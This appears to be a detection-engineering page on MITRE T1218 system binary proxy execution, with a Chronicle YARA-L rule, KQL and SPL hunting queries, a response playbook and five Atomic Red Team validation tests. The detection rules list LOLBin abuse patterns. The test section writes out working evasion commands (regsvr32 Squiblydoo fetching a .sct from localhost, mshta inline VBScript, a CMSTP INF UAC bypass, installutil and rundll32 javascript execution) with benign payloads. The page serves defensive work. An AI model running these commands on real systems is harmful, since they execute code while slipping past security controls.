T1218 Google Chronicle · YARA-L

Detect System Binary Proxy Execution in Google Chronicle

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Several Microsoft-signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Sub-techniques include abuse of mshta.exe, rundll32.exe, regsvr32.exe, msiexec.exe, cmstp.exe, installutil.exe, regsvcs.exe, regasm.exe, odbcconf.exe, verclsid.exe, mavinject.exe, control.exe (Control Panel), compiled HTML files (hh.exe), MMC snap-ins, Electron applications, and wuauclt.exe. On Linux, trusted binaries such as split may be abused similarly. Real-world usage includes Lazarus Group abusing wuauclt.exe to execute malicious DLLs and Volt Typhoon broadly leveraging LOLBins to maintain and expand network access.

MITRE ATT&CK

Tactic
Defense Evasion
Technique
T1218 System Binary Proxy Execution
Canonical reference
https://attack.mitre.org/techniques/T1218/

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule t1218_lolbin_proxy_execution {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects T1218 System Binary Proxy Execution via known LOLBins with suspicious parent processes, remote URLs, or technique-specific command-line arguments"
    mitre_attack_tactic = "Defense Evasion"
    mitre_attack_technique = "T1218"
    severity = "HIGH"
    priority = "HIGH"

  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    $e.principal.process.file.full_path = /(?i)(mshta\.exe|rundll32\.exe|regsvr32\.exe|msiexec\.exe|cmstp\.exe|installutil\.exe|regsvcs\.exe|regasm\.exe|odbcconf\.exe|verclsid\.exe|mavinject\.exe|hh\.exe|wuauclt\.exe|mmc\.exe|xwizard\.exe)$/
    (
      $e.principal.process.parent_process.file.full_path = /(?i)(winword\.exe|excel\.exe|powerpnt\.exe|outlook\.exe|onenote\.exe|msaccess\.exe|mspub\.exe|visio\.exe|wscript\.exe|cscript\.exe|mshta\.exe|cmd\.exe|powershell\.exe|pwsh\.exe)$/ or
      $e.target.process.command_line = /(?i)(http:\/\/|https:\/\/|ftp:\/\/)/ or
      $e.target.process.command_line = /(?i)(\.sct|\.hta|\.vbs|\.wsf|\.js|scrobj)/ or
      ($e.principal.process.file.full_path = /(?i)regsvr32\.exe$/ and $e.target.process.command_line = /(?i)(/s|/u|/i:|scrobj|sct)/) or
      ($e.principal.process.file.full_path = /(?i)mshta\.exe$/ and $e.target.process.command_line = /(?i)(\.hta|javascript:|vbscript:)/) or
      ($e.principal.process.file.full_path = /(?i)rundll32\.exe$/ and $e.target.process.command_line = /(?i)(javascript:|shell32\.dll|advpack\.dll|ieadvpack\.dll|syssetup\.dll)/) or
      ($e.principal.process.file.full_path = /(?i)cmstp\.exe$/ and $e.target.process.command_line = /(?i)(/s|/ns|\.inf)/) or
      ($e.principal.process.file.full_path = /(?i)installutil\.exe$/ and $e.target.process.command_line = /(?i)(/logfile=|/LogToConsole=|/U)/) or
      ($e.principal.process.file.full_path = /(?i)wuauclt\.exe$/ and $e.target.process.command_line = /(?i)UpdateDeploymentProvider/) or
      ($e.principal.process.file.full_path = /(?i)odbcconf\.exe$/ and $e.target.process.command_line = /(?i)(/a|-a|regsvr|\.rsp)/)
    )

  condition:
    $e
}
high severity high confidence

Chronicle YARA-L 2.0 rule detecting T1218 LOLBin proxy execution. Matches PROCESS_LAUNCH events where a known LOLBin is spawned by a suspicious parent (Office apps, scripting engines) or exhibits technique-specific command-line patterns including remote URL loading, script extension references, and binary-specific bypass arguments.

Data Sources

Chronicle UDMGoogle Chronicle SIEM with Windows endpoint telemetry

Required Tables

UDM events with event_type PROCESS_LAUNCH

False Positives & Tuning

  • IT automation tooling that legitimately invokes msiexec.exe or rundll32.exe from scripted parent processes such as powershell.exe during patching cycles
  • Security software that registers COM objects via regsvr32.exe or regasm.exe as part of agent installation
  • Custom enterprise applications that use installutil.exe to deploy .NET services in managed environments

Other platforms for T1218

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Regsvr32 SCT Scriptlet Remote Execution

    Expected signal: Sysmon Event ID 1: Process Create with Image=regsvr32.exe, CommandLine containing '/s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (connection will fail). Sysmon Event ID 7: Image Load for scrobj.dll from C:\Windows\System32.

  2. Test 2 MSHTA Inline VBScript Execution

    Expected signal: Sysmon Event ID 1: Process Create for mshta.exe with CommandLine containing 'vbscript:Execute'. Sysmon Event ID 1 child: cmd.exe spawned by mshta.exe. Sysmon Event ID 11: File creation of mshta_test.txt in %TEMP%.

  3. Test 3 CMSTP INF File UAC Bypass and Execution

    Expected signal: Sysmon Event ID 1: Process Create for cmstp.exe with CommandLine containing '/s' and path to .inf file. Sysmon Event ID 11: File creation for test.inf and cmstp_test.txt. Sysmon Event ID 1 child: cmd.exe spawned by cmstp.exe executing the RunPreSetupCommands action.

  4. Test 4 InstallUtil CLR Bypass via /logfile Flag

    Expected signal: Sysmon Event ID 1: Process Create for installutil.exe with CommandLine containing '/logfile=' and '/LogToConsole=false'. Sysmon Event ID 7: Image loads for CLR DLLs (clr.dll, mscorwks.dll). The command will fail against calc.exe (not a valid .NET assembly) but the process creation telemetry fires.

  5. Test 5 Rundll32 JavaScript Execution

    Expected signal: Sysmon Event ID 1: Process Create for rundll32.exe with CommandLine containing 'javascript:' and 'mshtml'. Sysmon Event ID 7: Image Load for mshtml.dll into rundll32.exe. Sysmon Event ID 1 child: cmd.exe spawned. Sysmon Event ID 11: File creation for rundll32_test.txt.

Last updated: 2026-04-13 Research depth: deep
References (11)

Response Playbook

Triage

  1. Identify the exact LOLBin involved and map to the relevant sub-technique — each binary has distinct abuse patterns: Regsvr32 (.sct/scrobj), MSHTA (HTA/inline script), RunDll32 (DLL entrypoint or JavaScript), CMSTP (INF file), InstallUtil (/logfile CLR bypass), wuauclt (UpdateDeploymentProvider).
  2. Examine the full command line for indicators: remote URLs (http/https), UNC paths (\\server\share), script file extensions (.sct, .hta, .inf, .rsp, .vbs), and known bypass parameters (/s, /u, /i:, /logfile=). Capture the raw command line verbatim for the incident record.
  3. Identify the parent process — was the LOLBin spawned by an Office application (Word, Excel, Outlook), a browser, a scripting host (wscript, cscript), or a scheduled task? Office-spawned LOLBins are very high-confidence indicators of phishing-based initial access.
  4. Check the user context — is this a standard user, privileged account, or SYSTEM? LOLBins executing as SYSTEM or a service account with no corresponding change ticket are critical escalation triggers.
  5. Look for network connections from the LOLBin process (Sysmon Event ID 3, DeviceNetworkEvents) — any connections to public IPs, especially downloading additional payloads, confirm malicious use.
  6. Review file creation events (Sysmon Event ID 11, DeviceFileEvents) for payloads written to disk by the LOLBin or its child processes, particularly in Temp, AppData, or ProgramData directories.
  7. Check for child process creation — legitimate LOLBins rarely spawn cmd.exe, PowerShell, or other LOLBins. Any such parent-child chain is a strong indicator of exploitation.

Containment

  1. If active payload execution is confirmed: immediately isolate the endpoint using EDR network isolation to prevent C2 communication, lateral movement, or data exfiltration.
  2. If a remote payload URL is identified: block the domain and IP at web proxy, DNS sinkholes, and perimeter firewall within 30 minutes of detection.
  3. If the LOLBin downloaded and executed a secondary payload: hash and quarantine the dropped file via EDR; submit to sandboxing for behavioral analysis.
  4. If the user account has been compromised (e.g., macro in phishing email executed): disable the account, revoke all active SSO and cloud tokens, and reset credentials before restoring access.
  5. If Office macro-based delivery is confirmed: enforce macro blocking via GPO or Defender ASR rules (Block Office applications from creating child processes, Block Win32 API calls from Office macros) across the affected OU.
  6. Consider blocking execution of high-risk LOLBins (mshta.exe, cmstp.exe, installutil.exe) via AppLocker or WDAC policies if they are not required in your environment — most organizations have no legitimate use for these binaries on standard endpoints.

Evidence Collection

  1. Process Creation Telemetry — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing enabled via GPO: Audit Process Creation + Include command line in process creation events).
  2. Network Connection Telemetry — Sysmon Event ID 3 from the LOLBin process, capturing destination IP, port, and protocol. Correlate with DeviceNetworkEvents in MDE.
  3. File Creation Telemetry — Sysmon Event ID 11 for any files written by the LOLBin or its children, particularly payloads dropped to writable directories.
  4. DNS Resolution Telemetry — Sysmon Event ID 22 (DNS Query) to capture any domain lookups made by the LOLBin, which may reveal C2 infrastructure.
  5. Image Load Telemetry — Sysmon Event ID 7 for DLLs loaded by the LOLBin, particularly unsigned or recently created DLLs that may be the malicious payload.
  6. Prefetch Files — C:\Windows\Prefetch\<LOLBIN>.EXE-*.pf captures execution timestamps and files loaded. For example, RUNDLL32.EXE-*.pf will list the DLL it loaded.
  7. Browser History and Downloads — if mshta.exe or hh.exe was invoked, check browser history and download directories for the originating HTA or CHM file.
  8. Office Document Artifacts — if an Office application spawned the LOLBin, preserve the originating document from the user's recent files, email attachments, or download directory for sandbox detonation.
  9. Windows Event Log: Microsoft-Windows-AppLocker/EXE and DLL (Event IDs 8002-8006) — if AppLocker is deployed, may have logged or blocked the LOLBin execution.
  10. MDE Device Timeline — review the 72-hour device timeline around the alert time for full activity context including file drops, registry changes, and network connections.

Escalation Criteria

  • !LOLBin spawned directly by a Microsoft Office application, browser, or scripting host — this is the canonical phishing/initial access chain and should always be escalated immediately.
  • !LOLBin making outbound connections to public IPs or downloading a secondary payload from an external URL — active C2 or multi-stage execution in progress.
  • !Regsvr32 or MSHTA loading a payload from a remote UNC path or public URL (T1218.010 or T1218.005 confirmed exploitation) — indicates a live attack, not a misconfiguration.
  • !wuauclt.exe invoked with /UpdateDeploymentProvider and a DLL path not under C:\Windows\SoftwareDistribution — Lazarus Group TTP, escalate to threat intelligence team.
  • !LOLBin spawning cmd.exe, PowerShell, or additional LOLBins as child processes — multi-stage proxy execution chain indicating post-exploitation activity.
  • !InstallUtil.exe or Regasm.exe executing from a user-writable directory or Temp — CLR-based bypass with attacker-controlled payload, high confidence malicious.
  • !Same LOLBin abuse pattern detected across multiple endpoints within a short time window — potential automated propagation or worm-like behavior.

Investigation Guide

Related Techniques

T1218.001 — Compiled HTML File (hh.exe abuse for CHM-based payload execution)T1218.002 — Control Panel (control.exe sideloading malicious CPL files)T1218.003 — CMSTP (cmstp.exe INF file sideloading for UAC bypass and execution)T1218.004 — InstallUtil (installutil.exe CLR bypass via /logfile= flag)T1218.005 — Mshta (mshta.exe executing HTA files or inline VBScript/JavaScript)T1218.007 — Msiexec (msiexec.exe loading malicious MSI or DLL via /y /z flags)T1218.008 — Odbcconf (odbcconf.exe executing DLLs via REGSVR action or RSP files)T1218.009 — Regsvcs/Regasm (COM+ service registration abused for CLR bypass)T1218.010 — Regsvr32 (regsvr32.exe /s /n /u /i: scrobj.dll for SCT file execution)T1218.011 — Rundll32 (rundll32.exe executing malicious DLL entrypoints or JavaScript)T1218.012 — Verclsid (verclsid.exe CLSID resolution used to load COM objects)T1218.013 — Mavinject (mavinject.exe /INJECTRUNNING for DLL injection into running processes)T1218.014 — MMC (mmc.exe loading malicious MSC snap-in files)T1218.015 — Electron Applications (Electron app abuse for code execution bypass)T1059.001 — PowerShell (frequently chained after LOLBin initial execution)T1059.003 — Windows Command Shell (cmd.exe often spawned as LOLBin child)T1105 — Ingress Tool Transfer (LOLBins used to download secondary payloads)T1566.001 — Spearphishing Attachment (most common initial delivery for LOLBin abuse)T1053.005 — Scheduled Task (persistence mechanism using LOLBins for execution)T1027 — Obfuscated Files or Information (payloads delivered to LOLBins are often obfuscated)

Forensic Artifacts

  • >Prefetch Files — C:\Windows\Prefetch\RUNDLL32.EXE-*.pf, MSHTA.EXE-*.pf, REGSVR32.EXE-*.pf etc. Contain execution timestamps, run count, and referenced file paths including loaded DLLs or scripts. Parse with tools like WinPrefetchView or PECmd.
  • >Shimcache (AppCompatCache) — HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache. Records executable path and last modified time for binaries invoked, including LOLBins and their payload DLLs.
  • >Amcache.hve — C:\Windows\AppCompat\Programs\Amcache.hve. Contains SHA1 hashes of recently executed executables and loaded DLLs, providing evidence of payload files even if deleted.
  • >Windows Event Log: Security (Event ID 4688) — Process creation with command line if audit policy is configured. Captures LOLBin invocations with full argument strings.
  • >Windows Event Log: Microsoft-Windows-Sysmon/Operational — Event IDs 1 (process create), 3 (network), 7 (image load), 11 (file create), 22 (DNS). Most complete source for LOLBin investigation.
  • >MRU Registry Keys — HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU and RecentDocs. May contain evidence of manually triggered HTA or CHM files.
  • >LNK Files — %APPDATA%\Microsoft\Windows\Recent\*.lnk. If a shortcut was used to invoke the LOLBin, the LNK will contain the target path and arguments.
  • >NTFS $MFT and $LogFile — For deleted payload files dropped by LOLBins, MFT entries and journal records preserve filename, timestamps, and size even after deletion.
  • >Network Forensics — DNS query logs and proxy logs for domains contacted by the LOLBin. SCT files are often hosted on attacker-controlled infrastructure.
  • >COM Object Registry — HKCR\CLSID\{...} entries for VERCLSID and COM-based attacks. Attacker may have registered a malicious COM object that persists in the registry.

Tuning Guidance

Start by inventorying which LOLBins are legitimately used in your environment. In most organizations, cmstp.exe and installutil.exe have no legitimate use on standard user endpoints — block or alert on any execution. Mshta.exe is rarely needed outside legacy enterprise web applications; consider blocking it via AppLocker or WDAC on modern endpoints. For rundll32.exe and regsvr32.exe (which are heavily used by legitimate software), focus detection on the suspicious argument patterns rather than all execution. Build an allowlist of known-good command lines with exact MD5/SHA256 hashes of expected DLL arguments where possible. For environments with software distribution tools (SCCM, Intune, PDQ), identify the exact parent process and command-line patterns used for legitimate deployments and exclude those specific combinations. Consider deploying Microsoft Defender Attack Surface Reduction (ASR) rules in block mode for the highest-confidence rules: 'Block Office applications from creating child processes' (D4F940AB-401B-4EFC-AADC-AD5F3C50688A) and 'Block execution of potentially obfuscated scripts' (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC). Enable Script Block Logging for additional coverage. On Linux, monitor for split and other GTFO binaries (python, perl, ruby, lua, etc.) being used with pipe chains that execute arbitrary commands. For wuauclt.exe specifically, alert on any invocation with /UpdateDeploymentProvider that references a DLL outside C:\Windows\SoftwareDistribution — there is virtually no legitimate use case for this pattern outside of the Lazarus Group TTP.

Hunting Queries

Hunt for LOLBins loading remote content over HTTP/HTTPS or UNC paths. This identifies network-based payload staging where the LOLBin directly fetches the malicious script or DLL rather than from a local file — a strong indicator of live exploitation rather than misconfiguration.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("regsvr32.exe", "mshta.exe", "rundll32.exe", "cmstp.exe", "wuauclt.exe")
| where ProcessCommandLine has_any ("http://", "https://", "\\\\")
| summarize Count=count(), Devices=dcount(DeviceName), UniqueCommands=dcount(ProcessCommandLine),
            Sample=any(ProcessCommandLine), Earliest=min(Timestamp)
  by FileName, AccountName
| sort by Count desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\regsvr32.exe" OR Image="*\\mshta.exe" OR Image="*\\rundll32.exe"
   OR Image="*\\cmstp.exe" OR Image="*\\wuauclt.exe")
  (CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*\\\\*")
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| stats count as Count, dc(host) as Devices, dc(CommandLine) as UniqueCommands,
        earliest(_time) as Earliest, values(CommandLine) as SampleCmds by LOLBin, User
| sort - Count

Hunt for Office applications (Word, Excel, Outlook, etc.) directly spawning LOLBins. This parent-child relationship is the canonical phishing chain: malicious macro or OLE object in an Office document triggers proxy execution to evade macro-blocking controls. Any result here is high-fidelity and should be reviewed.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ (
    "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
    "onenote.exe", "msaccess.exe", "mspub.exe"
  )
| where FileName in~ (
    "mshta.exe", "rundll32.exe", "regsvr32.exe", "cmstp.exe",
    "installutil.exe", "regsvcs.exe", "regasm.exe", "wscript.exe",
    "cscript.exe", "certutil.exe", "bitsadmin.exe", "odbcconf.exe"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" OR ParentImage="*\\powerpnt.exe"
   OR ParentImage="*\\outlook.exe" OR ParentImage="*\\onenote.exe" OR ParentImage="*\\msaccess.exe")
  (Image="*\\mshta.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe"
   OR Image="*\\cmstp.exe" OR Image="*\\installutil.exe" OR Image="*\\regsvcs.exe"
   OR Image="*\\regasm.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe"
   OR Image="*\\certutil.exe" OR Image="*\\odbcconf.exe")
| eval OfficeApp=mvindex(split(ParentImage, "\\"), -1)
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| table _time, host, User, OfficeApp, LOLBin, CommandLine, ParentCommandLine
| sort - _time

Hunt for LOLBins executing from non-standard filesystem paths (outside C:\Windows and Program Files). Adversaries sometimes copy LOLBins to user-writable directories to evade detection rules that trust the canonical binary location, or to use a different binary with the same name. Any LOLBin executing from Temp, AppData, Downloads, or unusual paths is highly suspicious.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ (
    "mshta.exe", "rundll32.exe", "regsvr32.exe", "cmstp.exe",
    "installutil.exe", "regsvcs.exe", "regasm.exe", "odbcconf.exe", "wuauclt.exe"
  )
| where FolderPath !startswith "C:\\Windows\\"
    and FolderPath !startswith "C:\\Program Files\\"
    and FolderPath !startswith "C:\\Program Files (x86)\\"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
         ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\mshta.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe"
   OR Image="*\\installutil.exe" OR Image="*\\regsvcs.exe" OR Image="*\\regasm.exe"
   OR Image="*\\odbcconf.exe" OR Image="*\\wuauclt.exe")
  NOT (Image="C:\\Windows\\*" OR Image="C:\\Program Files\\*" OR Image="C:\\Program Files (x86)\\*")
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| table _time, host, User, LOLBin, Image, CommandLine, ParentImage
| sort - _time

Atomic Red Team Tests

Test 1 Regsvr32 SCT Scriptlet Remote Execution
windows

Uses regsvr32.exe with the /s /n /u /i: flags to load a remote SCT (scriptlet) file via scrobj.dll — the 'Squiblydoo' technique. This bypasses AppLocker and older endpoint security tools that trust signed Microsoft binaries. The URL points to localhost to keep this test safe; no actual remote payload is fetched.

Command

powershell 
regsvr32.exe /s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=regsvr32.exe, CommandLine containing '/s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (connection will fail). Sysmon Event ID 7: Image Load for scrobj.dll from C:\Windows\System32.

Expected Detection

Alert fires on RegSvr32Bypass=true (HasComScript and HasRemoteURL both also true). SuspicionScore >= 3. KQL: RegSvr32Bypass=true. SPL: RegSvr32Bypass=1, SuspicionScore >= 1.

Test 2 MSHTA Inline VBScript Execution
windows

Uses mshta.exe to execute an inline VBScript payload directly from the command line — no HTA file needed. This is a common technique used by phishing lures and macro-based droppers to execute code while bypassing script blocking controls that monitor .vbs or .js files. The payload here is benign (spawns a message box).

Command

powershell 
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe /c whoami > %TEMP%\mshta_test.txt"",0:close")

Cleanup

powershell 
del %TEMP%\mshta_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for mshta.exe with CommandLine containing 'vbscript:Execute'. Sysmon Event ID 1 child: cmd.exe spawned by mshta.exe. Sysmon Event ID 11: File creation of mshta_test.txt in %TEMP%.

Expected Detection

Alert fires on MshtaSus=true (MshtaHta in KQL, MshtaSus in SPL, CommandLine has 'vbscript:'). Also triggers IsOfficeParent if invoked via macro. SuspicionScore >= 1.

Test 3 CMSTP INF File UAC Bypass and Execution
windows

Creates a malicious INF file and invokes cmstp.exe with /s (silent) to automatically execute the RunPreSetupCommandsSection. CMSTP is a signed Microsoft binary used to install Connection Manager profiles. Adversaries abuse it for UAC bypass and to execute arbitrary commands without triggering standard process creation alerts. The command used here is benign (whoami).

Command

powershell 
echo [version] > %TEMP%\test.inf && echo Signature=$chicago$ >> %TEMP%\test.inf && echo [DefaultInstall_SingleUser] >> %TEMP%\test.inf && echo RunPreSetupCommandsSection=RunCommandSection >> %TEMP%\test.inf && echo [RunCommandSection] >> %TEMP%\test.inf && echo 7=cmd.exe /c whoami > %TEMP%\cmstp_test.txt >> %TEMP%\test.inf && echo 7=cmd.exe /c whoami > %TEMP%\cmstp_test.txt >> %TEMP%\test.inf && cmstp.exe /s %TEMP%\test.inf

Cleanup

powershell 
del %TEMP%\test.inf %TEMP%\cmstp_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for cmstp.exe with CommandLine containing '/s' and path to .inf file. Sysmon Event ID 11: File creation for test.inf and cmstp_test.txt. Sysmon Event ID 1 child: cmd.exe spawned by cmstp.exe executing the RunPreSetupCommands action.

Expected Detection

Alert fires on CMSTPInf=true (CommandLine has '/s' and '.inf'). SuspicionScore >= 1. KQL: CMSTPInf=true. SPL: CMSTPInf=1.

Test 4 InstallUtil CLR Bypass via /logfile Flag
windows

Invokes installutil.exe with /logfile= /LogToConsole=false /U flags to execute a .NET assembly without running through the standard assembly load checks. This technique loads the assembly's Uninstall() method via the CLR bypass, commonly used to execute C# payloads compiled to a .dll or .exe. This test uses a harmless inline approach to confirm detection without a real payload.

Command

powershell 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\System32\calc.exe

Expected Telemetry

Sysmon Event ID 1: Process Create for installutil.exe with CommandLine containing '/logfile=' and '/LogToConsole=false'. Sysmon Event ID 7: Image loads for CLR DLLs (clr.dll, mscorwks.dll). The command will fail against calc.exe (not a valid .NET assembly) but the process creation telemetry fires.

Expected Detection

Alert fires on InstallUtilBypass=true (CommandLine has '/logfile=' and '/LogToConsole='). SuspicionScore >= 1. KQL: InstallUtilBypass=true. SPL: InstallUtilBypass=1.

Test 5 Rundll32 JavaScript Execution
windows

Uses rundll32.exe with the javascript: URI handler to execute inline JavaScript code — a technique that bypasses controls watching for wscript.exe or cscript.exe. This approach was popularized by multiple commodity malware families and is effective against environments that block scripting host processes but permit rundll32.exe. The payload here is benign.

Command

powershell 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > %TEMP%\rundll32_test.txt",0,true);

Cleanup

powershell 
del %TEMP%\rundll32_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for rundll32.exe with CommandLine containing 'javascript:' and 'mshtml'. Sysmon Event ID 7: Image Load for mshtml.dll into rundll32.exe. Sysmon Event ID 1 child: cmd.exe spawned. Sysmon Event ID 11: File creation for rundll32_test.txt.

Expected Detection

Alert fires on RunDll32Sus=true (CommandLine has 'javascript:' and 'mshtml'). SuspicionScore >= 1. KQL: RunDll32Sus=true. SPL: RunDll32Sus=1.

Related Detections

Tactic Hub

TA0005 Defense Evasion

Sub-techniques (14)

Related Techniques

T1218.001 Compiled HTML File T1218.002 Control Panel T1218.003 CMSTP T1218.004 InstallUtil T1218.005 Mshta T1218.007 Msiexec T1218.008 Odbcconf T1218.009 Regsvcs/Regasm T1218.010 Regsvr32 T1218.011 Rundll32 T1218.012 Verclsid T1218.013 Mavinject T1218.014 MMC T1218.015 Electron Applications T1059.001 PowerShell T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment T1053.005 Scheduled Task T1027 Obfuscated Files or Information

Same Tactic: Defense Evasion

Popular Detections